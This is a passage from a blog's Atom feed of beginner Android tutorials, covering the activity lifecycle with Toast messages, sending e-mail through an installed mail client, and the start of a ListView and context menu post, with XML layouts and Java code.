&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; android:text=&quot;@string/hello&quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;lt;Button&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; android:id=&quot;@+id/but&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; android:layout_width=&quot;wrap_content&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; android:layout_height=&quot;wrap_content&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; android:text=&quot;Button&quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/LinearLayout&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- ===================End of main.xml====================== --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
/*=========ActivityLifeCycleActivity (Corrosponding code to main.xml) ========*/&lt;br /&gt;
package com.hellboys.act;&lt;br /&gt;
&lt;br /&gt;
import android.app.Activity;&lt;br /&gt;
import android.content.Intent;&lt;br /&gt;
import android.os.Bundle;&lt;br /&gt;
import android.view.View;&lt;br /&gt;
import android.widget.Button;&lt;br /&gt;
import android.widget.Toast;&lt;br /&gt;
public class ActivityLifeCycleActivity extends Activity {&lt;br /&gt;
&amp;nbsp; &amp;nbsp; /** Called when the activity is first created. */&lt;br /&gt;
&amp;nbsp; &amp;nbsp; @Override&lt;br /&gt;
&amp;nbsp; &amp;nbsp; public void onCreate(Bundle savedInstanceState) {&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; super.onCreate(savedInstanceState);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; setContentView(R.layout.main);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Toast.makeText(getBaseContext(), &quot;1 onCreate()&quot;,Toast.LENGTH_LONG).show();&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Button b1;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; b1 = (Button) findViewById(R.id.but);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; b1.setOnClickListener(new View.OnClickListener() {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;@Override&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;public void onClick(View v) {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;Intent intent = new Intent(ActivityLifeCycleActivity.this,abhi.class);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;startActivity(intent);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;});&lt;br /&gt;
&amp;nbsp; &amp;nbsp; }&lt;br /&gt;
&amp;nbsp; &amp;nbsp;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; public void onStart(){&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;super.onStart();&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Toast.makeText(getBaseContext(), &quot;1 onStart()&quot;,Toast.LENGTH_LONG).show();&lt;br /&gt;
&amp;nbsp; &amp;nbsp; }&lt;br /&gt;
&amp;nbsp; &amp;nbsp;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; public void onResume(){&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;super.onResume();&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Toast.makeText(getBaseContext(), &quot;1 onResume()&quot;,Toast.LENGTH_LONG).show();&lt;br /&gt;
&amp;nbsp; &amp;nbsp; }&lt;br /&gt;
&amp;nbsp; &amp;nbsp;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; public void onPause(){&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;super.onPause();&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Toast.makeText(getBaseContext(), &quot;1 onPause()&quot;,Toast.LENGTH_LONG).show();&lt;br /&gt;
&amp;nbsp; &amp;nbsp; }&lt;br /&gt;
&amp;nbsp; &amp;nbsp;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; public void onStop(){&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;super.onStop();&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Toast.makeText(getBaseContext(), &quot;1 onStop()&quot;,Toast.LENGTH_LONG).show();&lt;br /&gt;
&amp;nbsp; &amp;nbsp; }&lt;br /&gt;
}&lt;br /&gt;
/*=============End of ActivityLifeCycleActivity=================*/&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- ================Second layout (abhi.xml)==================--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&lt;br /&gt;
&amp;lt;LinearLayout xmlns:android=&quot;http://schemas.android.com/apk/res/android&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; android:layout_width=&quot;match_parent&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; android:layout_height=&quot;match_parent&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; android:orientation=&quot;vertical&quot; &amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;lt;AnalogClock&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; android:id=&quot;@+id/analogClock1&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; android:layout_width=&quot;wrap_content&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; android:layout_height=&quot;wrap_content&quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/LinearLayout&amp;gt;&lt;br /&gt;
&amp;lt;!-- =====================End of abhi.xml======================= --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
/*=========Second Activity(Java code corresponding to abhi.xml) ========= */&lt;br /&gt;
package com.hellboys.act;&lt;br /&gt;
&lt;br /&gt;
import android.app.Activity;&lt;br /&gt;
import android.os.Bundle;&lt;br /&gt;
import android.widget.Toast;&lt;br /&gt;
public class abhi extends Activity{&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;@Override&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;public void onCreate(Bundle savedInstance){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;super.onCreate(savedInstance);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;setContentView(R.layout.abhi);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;Toast.makeText(getBaseContext(), &quot;2 onCreate()&quot;, Toast.LENGTH_LONG).show();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;public void onStart(){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;super.onStart();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;Toast.makeText(getBaseContext(), &quot;2 start()&quot;, Toast.LENGTH_LONG).show();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;public void onResume(){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;super.onResume();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;Toast.makeText(getBaseContext(), &quot;2 onResume()&quot;, Toast.LENGTH_LONG).show();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;public void onPause(){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;super.onPause();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;Toast.makeText(getBaseContext(), &quot;2 onPause()&quot;, Toast.LENGTH_LONG).show();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;public void onStop(){&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;super.onStop();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;Toast.makeText(getBaseContext(), &quot;2 onstop()&quot;, Toast.LENGTH_LONG).show();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
}&lt;br /&gt;
/*=================End of abhi============================*/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjN7GJRdCezEbhW1Dl4pWkeuFLl2a83tHi-8pKy26qVIi08xuy9kmP_pAxgFJmtWxTSpHWvLF_a32Y_q2uV6dWw2zSfpC_-TxLkzd_Bce11cvuyjdKLXY6Hfd55kgxETjOT8LDzys8byEs/s1600/activity_lifecycle.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;640&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjN7GJRdCezEbhW1Dl4pWkeuFLl2a83tHi-8pKy26qVIi08xuy9kmP_pAxgFJmtWxTSpHWvLF_a32Y_q2uV6dWw2zSfpC_-TxLkzd_Bce11cvuyjdKLXY6Hfd55kgxETjOT8LDzys8byEs/s640/activity_lifecycle.png&quot; width=&quot;518&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;text-align: left;&quot;&gt;/*==========================Do&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;text-align: left;&quot;&gt;+1 if like ....... ========================*/&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/5182312022498523442/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ashu-hackingforever.blogspot.com/2013/04/more-about-activity-life-cycle-with.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/5182312022498523442'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/5182312022498523442'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/2013/04/more-about-activity-life-cycle-with.html' title='More about Activity Life Cycle with an example.'/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjN7GJRdCezEbhW1Dl4pWkeuFLl2a83tHi-8pKy26qVIi08xuy9kmP_pAxgFJmtWxTSpHWvLF_a32Y_q2uV6dWw2zSfpC_-TxLkzd_Bce11cvuyjdKLXY6Hfd55kgxETjOT8LDzys8byEs/s72-c/activity_lifecycle.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5044415288327726339.post-3432536668282128569</id><published>2013-03-27T10:24:00.000-07:00</published><updated>2013-03-27T10:26:12.519-07:00</updated><title type='text'>Sending E-mail through your Application using Mail Clients</title><content type='html'>&lt;br /&gt;
It may possible that we need to send E-mail through our Application, The Code is given below for sending E-mail. It uses the mail client installed in Android phone, Oftenly it doesn&#39;t work on the emulator because emulator doesn&#39;t have a pre-installed mail-client, we need to install E-mail Client first on emulators then this will work on emulator, you can directly run this your phone.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbCCNQr32bfItHa8tGVhhFWAZPbUbDmaybNe-sZqAHj_Y56UXtte-WUSZjgeazhg8DCeuWvLBGlyZbTdzchpizxU7gRWHN1j2ykBE_dMci3byslbx_SotwWhSpc7MKjyu5YmtjAtDx9vQ/s1600/mail+through+client+.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbCCNQr32bfItHa8tGVhhFWAZPbUbDmaybNe-sZqAHj_Y56UXtte-WUSZjgeazhg8DCeuWvLBGlyZbTdzchpizxU7gRWHN1j2ykBE_dMci3byslbx_SotwWhSpc7MKjyu5YmtjAtDx9vQ/s1600/mail+through+client+.png&quot; height=&quot;360&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;On Emulator Since no client installed, it&#39;ll work fine on phone.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;--------------------------------------- XML file-------------------------------------------------&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;--&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&lt;br /&gt;
&amp;lt;LinearLayout xmlns:android=&quot;http://schemas.android.com/apk/res/android&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; android:layout_width=&quot;match_parent&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; android:layout_height=&quot;match_parent&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; android:orientation=&quot;vertical&quot; &amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;TextView&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; android:id=&quot;@+id/fp&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; android:layout_width=&quot;wrap_content&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; android:layout_height=&quot;wrap_content&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; android:text=&quot;forget Password?&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; android:layout_gravity=&quot;center&quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/LinearLayout&amp;gt;&lt;br /&gt;
&amp;lt;!--&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;------------------------- End of XML file-------------------------------------------------&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
/*======================== Java File ==================================*/&lt;br /&gt;
public class forget extends Activity {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;public void onCreate(Bundle savedInstanceActivity ){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;super.onCreate(savedInstanceActivity);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;setContentView(R.layout.authenticate);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;TextView fp = (TextView)findViewById(R.id.fp);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;fp.setOnClickListener(new View.OnClickListener() {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;@Override&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;public void onClick(View v) {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;try{&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;Uri uri = Uri.parse(&quot;mailto:ashutiwari4@gmail.com&quot;);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;Intent emailIntent = new Intent(Intent.ACTION_SENDTO,uri);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;emailIntent.setType(&quot;message/rfc822&quot;);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;final String aEmailList[] &amp;nbsp;= {&quot;ashutiwari4@gmail.com&quot;};&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;emailIntent.putExtra(Intent.EXTRA_EMAIL, aEmailList);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;emailIntent.putExtra(Intent.EXTRA_SUBJECT,&quot;Sample Subject&quot;);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;emailIntent.putExtra(Intent.EXTRA_TEXT, &quot;this is extra&quot;);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;startActivity(Intent.createChooser(emailIntent, &quot;Select Email Application&quot;));&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;catch(Exception ex){&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt; Toast.makeText(forget.this, &quot;There are no email clients installed.&quot;, Toast.LENGTH_SHORT).show();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;     &lt;/span&gt;Log.e(&quot;SendEmail&quot;,&quot;Can&#39;t send email&quot;,ex);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;});&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/*===================== End of Java File ============================*/</content><link rel='replies' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/3432536668282128569/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ashu-hackingforever.blogspot.com/2013/03/sending-e-mail-through-your-application.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/3432536668282128569'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/3432536668282128569'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/2013/03/sending-e-mail-through-your-application.html' title='Sending E-mail through your Application using Mail Clients'/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbCCNQr32bfItHa8tGVhhFWAZPbUbDmaybNe-sZqAHj_Y56UXtte-WUSZjgeazhg8DCeuWvLBGlyZbTdzchpizxU7gRWHN1j2ykBE_dMci3byslbx_SotwWhSpc7MKjyu5YmtjAtDx9vQ/s72-c/mail+through+client+.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5044415288327726339.post-5309557963869293386</id><published>2013-03-27T10:21:00.000-07:00</published><updated>2013-03-27T10:21:08.685-07:00</updated><title type='text'>Context Menu in Android</title><content type='html'>&lt;br /&gt;
Hey friends, In this post I&#39;m gonna explain you how to create List view ?, how to perform specific task on each item selection?, How to create Context Menu and how to perform specific task on &amp;nbsp;selection of context Item.... So lots of things are there in this post.... So, use it n Enjoy!!&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPZ4XE3b_w7gT051DoNnk2FrsgzeMhUxrD59hFHTmn3O4iQZPSoHBrUH-6-lBjvt_6k7EaweblWM8A9vbuKTQJ8_L0dtev9WFPYQysSBW872mQ8W4_WISThqupItcdR8aVCUlSgP5O3xU/s1600/Context+menu+on+singleTouch.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPZ4XE3b_w7gT051DoNnk2FrsgzeMhUxrD59hFHTmn3O4iQZPSoHBrUH-6-lBjvt_6k7EaweblWM8A9vbuKTQJ8_L0dtev9WFPYQysSBW872mQ8W4_WISThqupItcdR8aVCUlSgP5O3xU/s1600/Context+menu+on+singleTouch.png&quot; height=&quot;360&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;List View &amp;nbsp;On Single Touch&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJw58iR6wlmdxlmvbRBhhmbM3QjiD_-kZv6uZDbUKFiZhmaIyr9mDrlhBdQ9jq3p0d_eKs6fBnSVUV9ZJ_W340qu2abb3Mpt5IrqSILtLruQHZl3f3F2-etblp4Mpx2M9LyMYe5Ba3qKI/s1600/ContextMenuOnlongpress.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJw58iR6wlmdxlmvbRBhhmbM3QjiD_-kZv6uZDbUKFiZhmaIyr9mDrlhBdQ9jq3p0d_eKs6fBnSVUV9ZJ_W340qu2abb3Mpt5IrqSILtLruQHZl3f3F2-etblp4Mpx2M9LyMYe5Ba3qKI/s1600/ContextMenuOnlongpress.png&quot; height=&quot;360&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Context Menu On Long press&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
/*The Code Goes Here!!*/&lt;br /&gt;
&amp;lt;!--&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;--------------------------------------------------------- XML File ----------------------------------&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;--&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&lt;br /&gt;
&amp;lt;LinearLayout xmlns:android=&quot;http://schemas.android.com/apk/res/android&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; android:layout_width=&quot;fill_parent&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; android:layout_height=&quot;fill_parent&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; android:orientation=&quot;vertical&quot;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; android:id=&quot;@+id/lay&quot; &amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;lt;ListView&lt;br /&gt;
